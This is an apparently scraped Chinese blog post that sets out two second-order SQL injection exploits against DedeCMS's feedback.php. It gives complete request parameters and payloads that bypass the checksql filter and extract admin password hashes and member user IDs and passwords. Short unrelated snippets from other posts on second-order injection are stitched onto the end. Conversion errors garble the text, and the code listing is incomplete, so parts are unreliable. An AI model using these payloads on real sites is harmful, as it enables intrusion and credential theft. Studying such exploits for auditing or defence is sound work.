0x01 前言
long long ago,[email protected]發現dedecms二次注入的乙個經典**審計中二次攻擊的案例,但限於字段大小不能超過60位元組而顯得比較雞肋,在safekeyer集體的智慧型之下發現兩種突破辦法。
此文重在exp的構造,如需詳細漏洞分析,請看:
0x02 方法一:直接縮短法
理論:insert --> select -->insert -->select
exp:(紅色表示重點資料)
第一次insert
/dede/plus/feedback.php
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23
&sbbt=%e5%8f%91%e9%80%81%e8%af%84%e8%ae%ba
第二次insert
?action=send
&comtype=reply
&fid=27
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=angr
&title=1
&sbbt=%e5%8f%91%e9%80%81%e8%af%84%e8%ae%ba
看出我們第一次insert的payload是:
1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23
資料庫:
返回結果:
繞過具體**分析:
01 function checksql($db_string,$querytype='select')
02
11 $clean .= substr($db_string, $old_pos, $pos - $old_pos);
12 while (true)
13
20 elseif ($pos2 == false || $pos2 > $pos1)
21
25 $pos = $pos2 + 1;
26 }
27 $clean .= '$s$';
28 $old_pos = $pos + 1;
29 }
30 $clean .= substr($db_string, $old_pos);
31 //echo $clean;exit();
32 $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
33 ····(此處省略)
34 }
上述檢測**作用就是替換sql語句中兩個引號之間的內容為$s$
第二次insert的sql:
insert into
`feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
values ('1','0','test','1',"'",1,3,4,5,6,7,8,(select pwd from dede_admin))#','127.0.0.1','1','1367583435','2','0','0','feedback','6','asfsafsdaf')
經過上述處理:
insert into
`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
values ($s$,$s$,$s$,$s$,"$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)
然後function checksql($db_string,$querytype='select')得檢測繞過了。
重點在關於單引號的處理,用雙引號引上單引號,使單引號作為字串,單引號在繞過注入檢測起了重要作用,又使之在完整的insert不能發揮單引號作用,只作為字串。
0x03 方法二:兩次插入結合法
理論:insert --> select -->insert -->select
exp:(紅色表示重點資料)
第一次insert
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1',(char(@`'`)),/*
&sbbt=%e5%8f%91%e9%80%81%e8%af%84%e8%ae%ba
第二次insert
?aid=1
&action=send
&comtype=reply
&fid=48
&isconfirm=yes
&validate=craf
&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23
通過兩次insert向資料庫中插入payload的不同部分,然後組合起來成為乙個完整的payload
第一次插入:1',(char(@`'`)),/*
第二次插入:*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23
組成最後完整的語句:
insert into
`feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
values ('1','0','test','1',(char(@`'`)),/*','127.0.0.1','1','1367591176','2','0','0','feedback','0','@`\'`*/,2,3,4,5,6,7,8,(selectconcat(userid,0x7c,pwd)fromadmin))')
經過防注入函式處理:
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,(char(@`$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)
完全沒有問題繞過。
資料庫:
返回結果:
0x03 結束語
如有錯誤希望指正,如有建議希望討論。
mysql注入 二次注入
場景 系統對傳入值使用mysql escape string做了轉義處理,不能直接注入,但取出值時會自動轉義,而 中未再次轉義就放到sql語句中使用 非預處理方式 使得間接注入成功,實際場景 乙個含有註冊 登入 修改密碼功能的系統。資料庫中有乙個使用者名為admin,密碼為admin的使用者,現註冊...
SQL二次注入
一 是什麼?何為二次注入?為了預防sql注入攻擊,而將輸入到應用程式中的某些資料進行了 轉義 escape 但是這些資料卻又在 未被轉義 unescaped 的查詢窗體中重複使用。簡單地說,二次注入和普通注入一樣是乙個程式漏洞,它發生在使用者提交的值被儲存在資料庫中,然後這個值被應用程式中的某些其他...
sqli 二次注入
針對場景 存在另一處操作直接呼叫輸入資料而不做其他處理 關鍵 尋找另一處引用這個資料的操作 如果另一處操作直接將1 作為變數帶進自身的sql語句中,且未做如轉義等處理,那1 的單引號便會發生作用,起到sql注入的效果 以sqlilabs 24關為例 先點選forget your pass?出來如下頁...